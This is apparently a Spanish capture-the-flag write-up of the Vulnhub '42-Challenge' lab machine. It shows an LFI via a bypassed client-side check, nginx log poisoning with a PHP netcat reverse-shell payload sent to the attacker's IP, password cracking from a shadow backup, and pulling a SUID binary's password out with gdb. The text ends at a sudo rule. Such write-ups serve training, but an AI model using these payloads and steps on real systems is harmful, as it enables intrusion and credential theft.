Welcome to the 42-Challenge writeup from Vulnhub
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k


42-Challenge

tags: Vulnhub Easy Linux
Platform: Vulnhub
Difficult: Easy
S.O.: Linux

Esta caja está pensada para poder prácticar diversas habilidades a la hora de obtener acceso a un sistema. Pese a que la obtención de una consola, no es de nivel principiante, es un método interesante sucedido por varias escalas de privilegios distintas hasta llegar a root.

Se puede encontrar en este enlace

Vamos con los pasos para obtener root.

Análisis

Analicemos los servicios en funcionamiento en la máquina con Nmap.

root@EvilBook:~# nmap -Pn -A 192.168.1.68
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-13 09:58 CEST
Nmap scan report for 42Challenge (192.168.1.68)
Host is up (0.00041s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 94:8a:b4:a8:28:76:56:ce:49:d6:d5:6c:11:e5:38:dd (RSA)
|   256 8c:f7:82:be:14:11:01:cd:d3:07:3b:87:6b:b7:fd:4c (ECDSA)
|_  256 45:56:fc:1d:10:a9:62:6f:4f:ae:66:36:aa:86:d2:e9 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Ip Pinger
MAC Address: 08:00:27:54:73:FF (Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=4/13%OT=22%CT=1%CU=43105%PV=Y%DS=1%DC=D%G=Y%M=080027%T
OS:M=5E941B9F%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10A%TI=Z%CI=Z%II=I
OS:%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O
OS:5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6
OS:=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O
OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=
OS:0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%
OS:S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(
OS:R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=
OS:N%T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.41 ms 42Challenge (192.168.1.68)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.74 seconds

Perfecto, nos muestra un servidor web basado en nginx 1.14 y un ssh basado en OpenSSH 7.6p1.

Vamos a investigar el servicio web.

Por lo que veo, es un sistema para realizar ping a una determinada IP, vamos a probar con la IP local del servidor.

Bien, nos muestra los resultados en pantalla pero, tal como veo en la URL actual, lo hace aparentemente utilizando o bien el método "include()" de PHP o bien algún método "fopen()" o similar para leer un archivo ".log".

Revisando el código fuente, encuentro una función JavaScript la cual comprueba que el archivo pasado como parámetro en la URL, debe estar en el directorio "logs/" y debe tener la extensión ".log" de lo contrario, nos devolverá al inicio. Al ser una función JavaScript, deberíamos poder alterarla interceptando la petición con algún proxy como BURP.

Para poder interceptar el código que nos entrega el servidor antes de que nuestro navegador lo procese, debemos tener activa la opción en BURP de "Intercept Server Responses".

GET /index.php?log=/etc/passwd HTTP/1.1
Host: 192.168.1.68
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Realizamos una petición para ver el archivo "/etc/passwd" y continuamos la petición.

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 13 Apr 2020 08:17:39 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 3466

<html>
    <head>
        <title>Ip Pinger</title>
    </head>
    <body>
        <h4>Please, type a target ip to make a ping:</h4>
        <form name="get_log" method="post" action="/index.php" >
            <input type="text" name="ip">
            <input type="submit" name="submit" value="Make a ping"><br>
        </form>
        <script>
            const queryString = window.location.search;
            const urlParams = new URLSearchParams(queryString);
            if (urlParams.get("log"))
            {
                const file = urlParams.get('log')
                if (file.includes('logs/') && file.includes('.log'))
                {
                    var correct_logfile = 1;
                } else {
                    var correct_logfile = 0;
                }
                if (correct_logfile == 0)
                {
                    alert("Sorry, you are not allowed to read this file.");
                    window.location.replace("index.php");
                }
            }
        </script>
    root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:111::/run/uuidd:/usr/sbin/nologin
avahi-autoipd:x:106:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
rtkit:x:109:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
cups-pk-helper:x:110:116:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
whoopsie:x:112:117::/nonexistent:/bin/false
kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:114:119::/var/lib/saned:/usr/sbin/nologin
pulse:x:115:120:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
avahi:x:116:122:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
colord:x:117:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
hplip:x:118:7:HPLIP system user,,,:/var/run/hplip:/bin/false
geoclue:x:119:124::/var/lib/geoclue:/usr/sbin/nologin
gnome-initial-setup:x:120:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:121:125:Gnome Display Manager:/var/lib/gdm3:/bin/false
marvin:x:1000:1000:42 Challenge,,,:/home/marvin:/bin/bash
sshd:x:122:65534::/run/sshd:/usr/sbin/nologin
mysql:x:123:127:MySQL Server,,,:/nonexistent:/bin/false
lucas:x:1001:1001::/home/lucas:/bin/bash
maria:x:1002:1002::/home/maria:/bin/bash
pedro:x:1003:1003::/home/pedro:/bin/bash
laura:x:1004:1004::/home/laura:/bin/bash
    </body>
</html>

Perfecto! en BURP ya se nos muestra el contenido del archivo "passwd" además, ahora en BURP podemos eliminar la función que restringe los archivos en "logs/" y ".log" quedando el código de este modo por ejemplo.

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 13 Apr 2020 08:17:39 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 3466

<html>
    <head>
        <title>Ip Pinger</title>
    </head>
    <body>
        <h4>Please, type a target ip to make a ping:</h4>
        <form name="get_log" method="post" action="/index.php" >
            <input type="text" name="ip">
            <input type="submit" name="submit" value="Make a ping"><br>
        </form>
        <script>

        </script>
    root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:111::/run/uuidd:/usr/sbin/nologin
avahi-autoipd:x:106:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
rtkit:x:109:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
cups-pk-helper:x:110:116:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
whoopsie:x:112:117::/nonexistent:/bin/false
kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:114:119::/var/lib/saned:/usr/sbin/nologin
pulse:x:115:120:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
avahi:x:116:122:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
colord:x:117:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
hplip:x:118:7:HPLIP system user,,,:/var/run/hplip:/bin/false
geoclue:x:119:124::/var/lib/geoclue:/usr/sbin/nologin
gnome-initial-setup:x:120:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:121:125:Gnome Display Manager:/var/lib/gdm3:/bin/false
marvin:x:1000:1000:42 Challenge,,,:/home/marvin:/bin/bash
sshd:x:122:65534::/run/sshd:/usr/sbin/nologin
mysql:x:123:127:MySQL Server,,,:/nonexistent:/bin/false
lucas:x:1001:1001::/home/lucas:/bin/bash
maria:x:1002:1002::/home/maria:/bin/bash
pedro:x:1003:1003::/home/pedro:/bin/bash
laura:x:1004:1004::/home/laura:/bin/bash
    </body>
</html>

Y ahora, al continuar la petición, en el navegador web, obtenemos el contenido del archivo!

Perfecto. Ahora, además de tener una vulnerabilidad LFI, conocemos los usuarios en el sistema, "marvin", "lucas", "maria", "pedro" y "laura".

Ahora, para necesitamos tratar de conseguir una consola remota. Sabemos que podemos leer archivos de sistema, debemos suponer que como "www-data" por lo que, con pocos permisos de acceso al sistema, y sabemos que el servidor web es "nginx" por lo que, a no ser que las rutas hayan sido modificadas, deberíamos poder mostrar el contenido del archivo "/var/log/nginx/access.log" en el que se registran todos los accesos a la página web. Si tenemos acceso de lectura a este archivo, deberíamos poder modificar la cabecera de nuestra conexión al sitio inyectándo una conexión inversa en ella para lanzarla posteriormente accediendo al contenido del archivo. Probemos.

GET /index.php?log=/var/log/nginx/access.log HTTP/1.1
Host: 192.168.1.68
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Aquí está el contenido de "/var/log/nginx/access.log". Vamos a inyectar nuestra conexión remota en el.

Explotación

Modificamos la petición de:

GET /index.php?log=/var/log/nginx/access.log HTTP/1.1
Host: 192.168.1.68
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

inyectando en ella: <?php system('nc 192.168.1.91 1234 -e /bin/bash') ?>

GET /index.php?log=/var/log/nginx/access.log HTTP/1.1
Host: 192.168.1.68
User-Agent: Mozilla/5.0 (<?php system('nc 192.168.1.91 1234 -e /bin/bash') ?>) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Continuamos la petición, y ponemos una terminal local a la escucha en el puerto que hemos utilizado "1234".

Ahora, volvemos a mostrar el contenido del archivo "/var/log/nginx/access.log" y si todo ha ido bien, deberíamos lograr una conexión en la terminal que tenemos a la escucha.

Aquí está! ya tenemos una shell activa! Pero, lo primero, vamos a convertir la shell en una shell TTY usando Python.

root@EvilBook:~# nc -lnvp 1234
listening on [any] 1234 ...
connect to [192.168.1.91] from (UNKNOWN) [192.168.1.68] 48710
whoami
www-data
hostname
42Challenge
python -c "import pty; pty.spawn('/bin/bash');"
www-data@42Challenge:~/html$

Ahora, listando los archivos en el directorio actual, encontramos la primera bandera de la máquina.

www-data@42Challenge:~/html$ ls
ls
flag.txt  index.php  logs
www-data@42Challenge:~/html$ cat flag.txt
cat flag.txt
42challenge{www-data_d009633c1bea90aef338fae768aec8fd}
www-data@42Challenge:~/html$

Perfecto, vamos a tratar de escalar privilegios.

Escala de privilegios 1

Vamos a analizar el sistema utilizando el script "linpeas". Para poder subirlo a la máquina, inicio un servidor http local y lo descargo en la máquina con "wget".

root@EvilBook:/var/www/html/escaners# python -m SimpleHTTPServer 81
Serving HTTP on 0.0.0.0 port 81 ...
192.168.1.68 - - [13/Apr/2020 10:41:43] "GET /linpeas.sh HTTP/1.1" 200 -
www-data@42Challenge:/tmp$ wget 192.168.1.91:81/linpeas.sh
wget 192.168.1.91:81/linpeas.sh
--2020-04-13 10:41:14-- http://192.168.1.91:81/linpeas.sh
Connecting to 192.168.1.91:81... connected.
HTTP request sent, awaiting response... 200 OK
Length: 103915 (101K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh          100%[===================>] 101.48K  --.-KB/s    in 0.002s  

2020-04-13 10:41:14 (41.2 MB/s) - 'linpeas.sh' saved [103915/103915]

www-data@42Challenge:/tmp$ 

Vamos a ejecutarlo.

Perfecto! el script nos muestra que tenemos permisos de lectura sobre una copia de seguridad del archivo "shadow". Quizá podamos extraer alguna contraseña con el.

Para ello, necesitamos mostrar el contenido del archivo "passwd" y el archivo "shadow_backup" y guardar el contenido de ambos en dos archivos locales en nuestra máquina.

Ahora, utilizando el script "unshadow" vamos a preparar ambos archivos combinándolos para posteriormente ejecutar John the ripper sobre el archivo combinado. Para esto, solo necesitamos ejecutar el siguiente comando.

unshadow passwd shadow > hashes

Y ya podemos lanzar John sobre el.

root@EvilBook:/tmp# john hashes --wordlist=rockyou.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with 4 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Remaining 3 password hashes with 3 different salts
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:01:36:15 DONE (2020-04-13 10:55) 0g/s 1893p/s 5680c/s 5680C/s femarvin..$marvin
Session completed
root@EvilBook:/tmp# john hashes --show
marvin:marvinthemartian:1000:1000:42 Challenge,,,:/home/marvin:/bin/bash

1 password hash cracked, 3 left

Genial, nos ha conseguido extraer una contraseña para el usuario "marvin". Vamos a probarla conectándonos por SSH.

root@EvilBook:/tmp# ssh marvin@192.168.1.68
The authenticity of host '192.168.1.68 (192.168.1.68)' can't be established.
ECDSA key fingerprint is SHA256:EEzHDPuaxic+7K/wb5gN7BYvkC7Jw6tAjqdSThQEJr0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.68' (ECDSA) to the list of known hosts.
marvin@192.168.1.68's password: 

                :dMMMMMMMMd:   oMMMMMMMdyMMMMMMMMM
             /mMMMMMMMNh- oMMMh:   +MMMMMMMMM
         +mMMMMMMMNy- -- .yMMMMMMMMm
     .+mMMMMMMMNs- .oNMMMMMMMd/
 .omMMMMMMMmo.                   -sNMMMMMMMh/     .
MMMMMMMMMMMMMMMMMMMMMMMMMMMm   oMMMMMMMMN      -sN
MMMMMMMMMMMMMMMMMMMMMMMMMMMN   oMMMMMMMMN    -yNMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMN   oMMMMMMMMN  -yNMMMM
yyyyyyyyyyyyyyyyyyNMMMMMMMMN   oMMMMMMMMN:hNMMMMMM
                  mMMMMMMMMN   -ooooooooo+oooooooo
                  mMMMMMMMMN
                  mMMMMMMMMN
                  mMMMMMMMMN

Welcome to the 42Challenge

Last login: Sat Mar 14 17:49:12 2020 from 192.168.1.134
marvin@42Challenge:~$

Estamos dentro y, tenemos la bandera de "marvin"!!

marvin@42Challenge:~$ ls
Descargas  Documentos  Escritorio  flag.txt  Imágenes  Música  Plantillas  Público  Vídeos
marvin@42Challenge:~$ cat flag.txt
42challenge{marvin_92e8dd9db0b4bd058eaa3ae340c41900}
marvin@42Challenge:~$

Escala de privilegios 2

Bien, sigamos tratando de escalar privilegios.

marvin@42Challenge:~$ sudo -l
[sudo] contraseña para marvin: 
Lo sentimos, el usuario marvin no puede ejecutar sudo en 42Challenge.
marvin@42Challenge:~$

Vemos que el usuario, no tiene ningún privilegio como sudo.

marvin@42Challenge:~$ find / -perm -u=s -type f 2>/dev/null
/bin/fusermount
/bin/umount
/bin/su
/bin/mount
/bin/ping
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/Lucas_Access
/usr/bin/traceroute6.iputils
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/arping
/usr/bin/chfn
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/usr/sbin/pppd
marvin@42Challenge:~$

Pero, listando los SUIDs, localizamos uno llamado "Lucas_Access" el cual puede que si nos sirva.

marvin@42Challenge:~$ Lucas_Access

Welcome to the Lucas access system.

Please, type the password:
1234

Wrong password.

marvin@42Challenge:~$

Bien, al ejecutarlo nos pide una contraseña la que, en principio desconocemos. Vamos a descargar el archivo binario "Lucas_Access" a nuestra máquina y hacer debug con "gdb" sobre el. Para ello, recomiendo tener instalado el añadido "peda" para gdb.

https://github.com/longld/peda

Para enviar el binario a nuestra máquina, podemos usar Netcat. Para esto, ponemos una terminal a la escucha en nuestra máquina con el comando:

nc -l -p 1234 > Lucas_Access

Y en la máquina remota ejecutamos:

nc -w 3 192.168.1.91 1234 < /usr/bin/Lucas_Access

Ahora, ya tenemos el binario localmente y podemos hacer debug en el para tratar de conseguir la contraseña.

root@EvilBook:/tmp# gdb ./Lucas_Access
GNU gdb (Debian 8.3.1-1) 8.3.1
Copyright (C) 2019 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./Lucas_Access...
(No debugging symbols found in ./Lucas_Access)
gdb-peda$ b main
Breakpoint 1 at 0x9fe
gdb-peda$

Hacemos run para ejecutar el binario y que se detenga en "main()".

gdb-peda$ disas main
Dump of assembler code for function main:
   0x00005555555549fa <+0>: push   rbp
   0x00005555555549fb <+1>: mov    rbp,rsp
=> 0x00005555555549fe <+4>: sub    rsp,0x30
   0x0000555555554a02 <+8>: mov    rax,QWORD PTR fs:0x28
   0x0000555555554a0b <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000555555554a0f <+21>:    xor    eax,eax
   0x0000555555554a11 <+23>:    lea    rdi,[rip+0x188]        # 0x555555554ba0
   0x0000555555554a18 <+30>:    call   0x555555554740 <puts@plt>
   0x0000555555554a1d <+35>:    lea    rdi,[rip+0x1a2]        # 0x555555554bc6
   0x0000555555554a24 <+42>:    call   0x555555554740 <puts@plt>
   0x0000555555554a29 <+47>:    mov    rdx,QWORD PTR [rip+0x2015e0]        # 0x555555756010 <stdin@@GLIBC_2.2.5>
   0x0000555555554a30 <+54>:    lea    rax,[rbp-0x30]
   0x0000555555554a34 <+58>:    mov    esi,0x1e
   0x0000555555554a39 <+63>:    mov    rdi,rax
   0x0000555555554a3c <+66>:    call   0x555555554790 <fgets@plt>
   0x0000555555554a41 <+71>:    lea    rax,[rbp-0x30]
   0x0000555555554a45 <+75>:    mov    rdi,rax
   0x0000555555554a48 <+78>:    call   0x555555554750 <strlen@plt>
   0x0000555555554a4d <+83>:    sub    rax,0x1
   0x0000555555554a51 <+87>:    mov    BYTE PTR [rbp+rax*1-0x30],0x0
   0x0000555555554a56 <+92>:    lea    rax,[rbp-0x30]
   0x0000555555554a5a <+96>:    mov    rdi,rax
   0x0000555555554a5d <+99>:    call   0x555555554750 <strlen@plt>
   0x0000555555554a62 <+104>:   cmp    rax,0x14
   0x0000555555554a66 <+108>:   jbe    0x555555554a74 <main+122>
   0x0000555555554a68 <+110>:   mov    eax,0x0
   0x0000555555554a6d <+115>:   call   0x5555555548ea <alert>
   0x0000555555554a72 <+120>:   jmp    0x555555554ae5 <main+235>
   0x0000555555554a74 <+122>:   lea    rax,[rbp-0x30]
   0x0000555555554a78 <+126>:   mov    rdi,rax
   0x0000555555554a7b <+129>:   call   0x555555554901 <try>
   0x0000555555554a80 <+134>:   test   eax,eax
   0x0000555555554a82 <+136>:   je     0x555555554a90 <main+150>
   0x0000555555554a84 <+138>:   mov    eax,0x0
   0x0000555555554a89 <+143>:   call   0x5555555548ea <alert>
   0x0000555555554a8e <+148>:   jmp    0x555555554ae5 <main+235>
   0x0000555555554a90 <+150>:   call   0x555555554770 <getuid@plt>
   0x0000555555554a95 <+155>:   cmp    eax,0x3e8
   0x0000555555554a9a <+160>:   jne    0x555555554ad4 <main+218>
   0x0000555555554a9c <+162>:   lea    rdi,[rip+0x145]        # 0x555555554be8
   0x0000555555554aa3 <+169>:   call   0x555555554740 <puts@plt>
   0x0000555555554aa8 <+174>:   mov    esi,0x3e9
   0x0000555555554aad <+179>:   mov    edi,0x3e9
   0x0000555555554ab2 <+184>:   call   0x5555555547b0 <setreuid@plt>
   0x0000555555554ab7 <+189>:   mov    esi,0x3e9
   0x0000555555554abc <+194>:   mov    edi,0x3e9
   0x0000555555554ac1 <+199>:   call   0x5555555547c0 <setregid@plt>
   0x0000555555554ac6 <+204>:   lea    rdi,[rip+0x14b]        # 0x555555554c18
   0x0000555555554acd <+211>:   call   0x555555554780 <system@plt>
   0x0000555555554ad2 <+216>:   jmp    0x555555554ae0 <main+230>
   0x0000555555554ad4 <+218>:   lea    rdi,[rip+0x14d]        # 0x555555554c28
   0x0000555555554adb <+225>:   call   0x555555554740 <puts@plt>
   0x0000555555554ae0 <+230>:   mov    eax,0x0
   0x0000555555554ae5 <+235>:   mov    rcx,QWORD PTR [rbp-0x8]
   0x0000555555554ae9 <+239>:   xor    rcx,QWORD PTR fs:0x28
   0x0000555555554af2 <+248>:   je     0x555555554af9 <main+255>
   0x0000555555554af4 <+250>:   call   0x555555554760 <__stack_chk_fail@plt>
   0x0000555555554af9 <+255>:   leave  
   0x0000555555554afa <+256>:   ret    
End of assembler dump.
gdb-peda$

Podemos ver donde probablemente está haciendo la comprobación de la contraseña introducida, vamos a crear un punto de interrupción en el.

0x0000555555554a7b <+129>:  call   0x555555554901 <try>
0x0000555555554a80 <+134>:  test   eax,eax
gdb-peda$ b *0x0000555555554a80
Breakpoint 2 at 0x555555554a80
gdb-peda$

Y continuamos la ejecución. Cuando nos solicite la contraseña, introducimos cualquier valor.

gdb-peda$ c
Continuing.

Welcome to the Lucas access system.

Please, type the password:
1234
[----------------------------------registers-----------------------------------]
RAX: 0xfffffffe 
RBX: 0x0 
RCX: 0x0 
RDX: 0xfffffffe 
RSI: 0x7a5a5f45726d246a ('j$mrE_Zz')
RDI: 0x555555757ac9 --> 0x7a5a5f45726d24 ('$mrE_Zz')
RBP: 0x7fffffffdfc0 --> 0x555555554b00 (<__libc_csu_init>:  push   r15)
RSP: 0x7fffffffdf90 --> 0x34333231 ('1234')
RIP: 0x555555554a80 (<main+134>:    test   eax,eax)
R8 : 0x555555757ac0 ("3dF_s6Pcj$mrE_Zz")
R9 : 0x7ffff7f7e500 (0x00007ffff7f7e500)
R10: 0x20 (' ')
R11: 0x7ffff7f76ca0 --> 0x555555757ad0 --> 0x0 
R12: 0x5555555547e0 (<_start>:  xor    ebp,ebp)
R13: 0x7fffffffe0a0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x293 (CARRY parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555554a74 <main+122>:   lea    rax,[rbp-0x30]
   0x555555554a78 <main+126>:   mov    rdi,rax
   0x555555554a7b <main+129>:   call   0x555555554901 <try>
=> 0x555555554a80 <main+134>:   test   eax,eax
   0x555555554a82 <main+136>:   je     0x555555554a90 <main+150>
   0x555555554a84 <main+138>:   mov    eax,0x0
   0x555555554a89 <main+143>:   call   0x5555555548ea <alert>
   0x555555554a8e <main+148>:   jmp    0x555555554ae5 <main+235>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdf90 --> 0x34333231 ('1234')
0008| 0x7fffffffdf98 --> 0x0 
0016| 0x7fffffffdfa0 --> 0x555555554b00 (<__libc_csu_init>: push   r15)
0024| 0x7fffffffdfa8 --> 0x5555555547e0 (<_start>:  xor    ebp,ebp)
0032| 0x7fffffffdfb0 --> 0x7fffffffe0a0 --> 0x1 
0040| 0x7fffffffdfb8 --> 0x645933229302ea00 
0048| 0x7fffffffdfc0 --> 0x555555554b00 (<__libc_csu_init>: push   r15)
0056| 0x7fffffffdfc8 --> 0x7ffff7de3bbb (<__libc_start_main+235>:   mov    edi,eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x0000555555554a80 in main ()
gdb-peda$

Perfecto! ahora, en "R8" podemos ver la contraseña real.

R8 : 0x555555757ac0 ("3dF_s6Pcj$mrE_Zz")

Vamos a probarla en la máquina.

marvin@42Challenge:~$ Lucas_Access

Welcome to the Lucas access system.

Please, type the password:
3dF_s6Pcj$mrE_Zz

Welcome Lucas!, I'm happy to see you again :D

lucas@42Challenge:~$

Ya somo Lucas y, cambiandonos a su directorio "home" tenemos su bandera!.

lucas@42Challenge:~$ cd /home/lucas
lucas@42Challenge:/home/lucas$ ls
flag.txt
lucas@42Challenge:/home/lucas$ cat flag.txt
42challenge{lucas_1e3ed5f8be63ef05c975e92ec3c53af2}
lucas@42Challenge:/home/lucas$

Escala de privilegios 3

Vamos a ver si lucas tiene algún privilegio sudo.

lucas@42Challenge:/home/lucas$ sudo -l
Coincidiendo entradas por defecto para lucas en 42Challenge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

El usuario lucas puede ejecutar los siguientes comandos en 42Challenge:
    (maria) NOPASSWD: /bin/nano
